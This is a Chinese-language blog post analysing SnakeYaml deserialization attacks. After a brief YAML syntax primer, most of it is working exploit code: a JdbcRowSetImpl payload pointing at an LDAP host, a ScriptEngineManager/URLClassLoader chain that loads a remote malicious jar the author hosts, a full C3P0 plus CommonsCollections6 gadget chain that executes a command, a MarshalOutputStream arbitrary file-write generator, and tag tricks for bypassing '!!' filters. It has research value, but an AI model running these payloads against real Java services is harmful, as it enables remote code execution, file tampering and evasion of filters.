SnakeYaml反序列化分析

SnakeYaml是java的yaml解析类库,支持Java对象的序列化/反序列化

类似python,SnakeYaml使用缩进代表层级关系,缩进只能用空格,不能用TAB。

Copy一手Yaml语法:

1、对象

使用冒号代表,格式为key: value。冒号后面要加一个空格:

1
key: value

可以使用缩进表示层级关系:

1
2
3
key: 
child-key: value
child-key2: value2

2、数组

使用一个短横线加一个空格代表一个数组项:

1
2
3
hobby:
- Java
- LOL

3、常量

YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
boolean: 
- TRUE #true,True都可以
- FALSE #false,False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date:
- 2022-07-28 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime:
- 2022-07-28T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

SnakeYaml反序列化

全版本可利用

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过反序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式;

其中序列化出来的对象格式为!!Snake.类名

在反序列化时可以用!!指定反序列化的类名,跟fastjson一样

且是调用setter赋值,fastjson能用的JdbcRowSetImpl肯定能用

JdbcRowSetImpl

注意SnakeYaml不能互转false和0,所以payload填false bool

POC:

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws Exception {
String str = "!!com.sun.rowset.JdbcRowSetImpl\n" +
"{\n"+
"dataSourceName: ldap://192.168.80.1:8085/Evil,\n" +
"autoCommit: false\n"+
"}";
Yaml yaml = new Yaml();
yaml.load(str);
}

ScriptEngineManager

这个链利用了SPI机制

SPI 机制

Java SPI(Service Provider Interface)是Java官方提供的一种服务发现机制,它允许在运行时动态地加载实现特定接口的类,而不需要在代码中显式地指定该类

当使用 ServiceLoader.load(Class<T> service) 方法加载服务时,会检查 META-INF/services 目录下是否存在以接口全限定名命名的文件。如果存在,则读取文件内容,获取实现该接口的类的全限定名,并通过 Class.forName() 方法加载对应的类。

而且当我们调用 ServiceLoader.load(Class<T> service) 方法时,并不会立即将所有实现了该接口的类都加载进来,而是返回一个懒加载迭代器

只有在使用迭代器遍历时,才会按需加载对应的类并创建其实例。

我们从源码分析下

SPI源码分析

锁定到ServiceLoader.load(Class<T> service),调用了另一个参数的load

然后调用ServiceLoader构造函数

构造函数调用reload

reload生成了一个LazyIterator

跟进到这个LazyIterator内部类,很明显我们在使用这个迭代器的时候,会先调用hashNext->hasNextService;再调用next,进而调用到nextService

在它的hasNextService获取了类路径为”META-IN/services/“+类名,并getResource,注意这里获取到的是configs的路径。后面的parse是解析这个configs

parse按行解析configs文件

在ServiceLoader.LazyInterator的nextService内完成了Class.forName初始化和newInstance实例化

如果load的参数可以是http URL,是不是意味着ServiceLoader.load能加载远程META-INF/services下的恶意类?

SPI使用

先看看SPI怎么用的:

  • 定义接口:首先需要定义一个接口,所有实现该接口的类都将被注册为服务提供者。

  • 创建实现类:创建一个或多个实现接口的类,这些类将作为服务提供者。

  • 配置文件:在 META-INF/services 目录下创建一个以接口全限定名命名的文件(也就是我们前面分析的configs),文件内容为实现该接口的类的全限定名,每个类名占一行。

  • 加载使用服务:使用 java.util.ServiceLoader 类的静态方法 load(Class service) 加载服务,默认情况下会加载 classpath 中所有符合条件的提供者。调用 ServiceLoader 实例的 iterator() 方法获取迭代器,遍历迭代器即可获取所有实现了该接口的类的实例。

所以我们本地需要在META-INF/services创建一个文件(用于configs加载),文件内容是我们需要加载的类的全限定名

然后恶意类实现ScriptEngineFactroy接口,并在构造函数 or 静态代码块写恶意代码。

为什么是ScriptEngineFactory接口?

根据前面的内容,我们不难推断漏洞触发为ServiceLoader.load生成迭代器,调用迭代器时完成任意类加载

我们看下ScriptEngineFactory完成SPI的代码:

ScriptEngineFactory.initEngines先调用getServiceLoader,然后获取了迭代器,并在循环中使用了迭代器(hasNext->next)

其中getServiceLoader就是ServiceLoader.load

这里load传入的service时ScriptEngineFactory,所以我们的恶意类需要实现ScriptEngineFactory接口

POC

META-INF目录结构,放configs。恶意类放在源代码目录

为了一个URL同时对外部提供这两个文件用于加载,需要打包成jar,我打包好了发布在了my github:

https://github.com/godownio/java_unserial_attackcode/blob/master/src/main/java/org/exploit/third/SnakeYaml/EvilServiceScriptEngineFactory_jdk8.jar

POC:

1
2
3
4
5
6
7
public class ScriptEngineManger {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8888/EvilServiceScriptEngineFactory_jdk8.jar\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

注意需要jdk版本相同

其他使用SPI的场景

一些其他使用SPI的场景,简单看看

应用名称 具体应用场景
数据库驱动程序加载 JDBC为了实现可插拔的数据库驱动,在Java.sql.Driver接口中定义了一组标准的API规范,而具体的数据库厂商则需要实现这个接口,以提供自己的数据库驱动程序。在Java中,JDBC驱动程序的加载就是通过SPI机制实现的。
日志框架的实现 流行的开源日志框架,如Log4j、SLF4J和Logback等,都采用了SPI机制。用户可以根据自己的需求选择合适的日志实现,而不需要修改代码。
Spring框架 Spring框架中的Bean加载机制就使用了SPI思想,通过读取classpath下的META-INF/spring.factories文件来加载各种自定义的Bean
Dubbo框架 Dubbo框架也使用了SPI思想,通过接口注解@SPI声明扩展点接口,并在classpath下的META-INF/dubbo目录中提供实现类的配置文件,来实现扩展点的动态加载。
MyBatis框架 MyBatis框架中的插件机制也使用了SPI思想,通过在classpath下的META-INF/services目录中存放插件接口的实现类路径,来实现插件的加载和执行
Netty框架 Netty框架也使用了SPI机制,让用户可以根据自己的需求选择合适的网络协议实现方式
Hadoop框架 Hadoop框架中的输入输出格式也使用了SPI思想,通过在classpath下的META-INF/services目录中存放输入输出格式接口的实现类路径,来实现输入输出格式的灵活配置和切换

C3P0不出网

不出网的情况能打C3P0,需要C3P0依赖

利用的是C3P0ImplUtils.parseUserridesAsString加载字节码,之前在分析C3P0+jackson联合打不出网时分析过了,移步:

https://godownio.github.io/2024/10/26/c3p0-lian/#SerializableUtils%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E8%8A%82%E7%A0%81

换成Yaml.load触发setter(setUserOverridesAsString)

SnakeYaml 打C3P0 CC6 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public class C3P0ImplUtils_HEX_CC6 {
public static String GenerateCC6() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "test2");
map.remove("test1");
Class lazymapClass = lazyMap.getClass();
Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL);
factory.set(lazyMap, chainedTransformer);
serialize(hashMap);
return binaryFileToHexString(new File("cc6.ser"));
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
oos.writeObject(obj);
oos.close();
}
public static String binaryFileToHexString(File file) throws IOException {
StringBuilder hexString = new StringBuilder();
try (FileInputStream fis = new FileInputStream(file)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
for (int i = 0; i < bytesRead; i++) {
hexString.append(String.format("%02X", buffer[i]));
}
}
}
return hexString.toString();
}
public static void main(String[] args) throws Exception {
String payload = "HexAsciiSerializedMap1"+GenerateCC6()+"1";
String poc = aposToQuotes("!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"{\n" +
"'userOverridesAsString':'"+payload+"'\n" +
"}");
System.out.printf(poc);
Yaml yaml = new Yaml();
yaml.load(poc);
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

}

MarshalOutputStream写文件

利用了fastjson1.2.68的思路,由于snakeYaml调用构造函数并不会使用ASMUtils.lookupParametersName去寻找带参数名的构造函数,所以比较通用

fastjson 1.2.68的原生JRE8 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'你的内容的base64编码'
},
'bufLen':1048576
},
'protocolVersion':1
}

改写为yaml的格式

1
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater  { input: !!binary base64str },1048576]]

Destpath是目的路径,base64str为经过zlib压缩过后的文件内容

给一个现成的payload:

https://xz.aliyun.com/t/15723?time__1311=GqjxnQiQGQeQqGNDQ0eBIPY54AILnYhuAbD#toc-10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package org.exploit.third.SnakeYaml;

//模仿fastjson 1.2.68写文件
import org.yaml.snakeyaml.Yaml;

import java.io.*;
import java.util.Base64;
import java.util.zip.Deflater;


public class SnakeYamlOffInternet {
public static void main(String [] args) throws Exception {
String poc = createPoC("ser.bin","ser2.bin");//源文件和写文件的绝对路径
Yaml yaml = new Yaml();
yaml.load(poc);

}


public static String createPoC(String SrcPath,String Destpath) throws Exception {
File file = new File(SrcPath);
Long FileLength = file.length();
byte[] FileContent = new byte[FileLength.intValue()];
try{
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
}
catch (FileNotFoundException e){
e.printStackTrace();
}
byte[] compressbytes = compress(FileContent);
String base64str = Base64.getEncoder().encodeToString(compressbytes);
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]";
System.out.println(poc);
return poc;
}

public static byte[] compress(byte[] data) {
byte[] output = new byte[0];

Deflater compresser = new Deflater();

compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}

绕过

!!可以用TAG来绕过

Tag的声明位于org.yaml.snakeyaml.nodes.Tags

!!换为tag:yaml.org,2002:

!!实际上就是一个Tag,等同于"tag:yaml.org,2002:"加一个后缀。除了这里声明的类,Tag就是"tag:yaml.org,2002:"+类的全限定名,比如!!javax.script.ScriptEngineManager的Tag是tag:yaml.org,2002:javax.script.ScriptEngineManager

除此之外还有两种替换方式

!<tag>

!!javax.script.ScriptEngineManager换为!<tag:yaml.org,2002:javax.script.ScriptEngineManager>

1
2
3
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> " +
"[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>" +
" [\"http://b1ue.cn/\"]]]]

%TAG

用%TAG声明一个 TAG,后面使用!就可以自动加上Tag

1
2
3
%TAG !      tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]
上一篇:
XStream反序列化合集(Until 1.4.17)
下一篇:
fastjson 1.2.68漏洞分析及commons-io写文件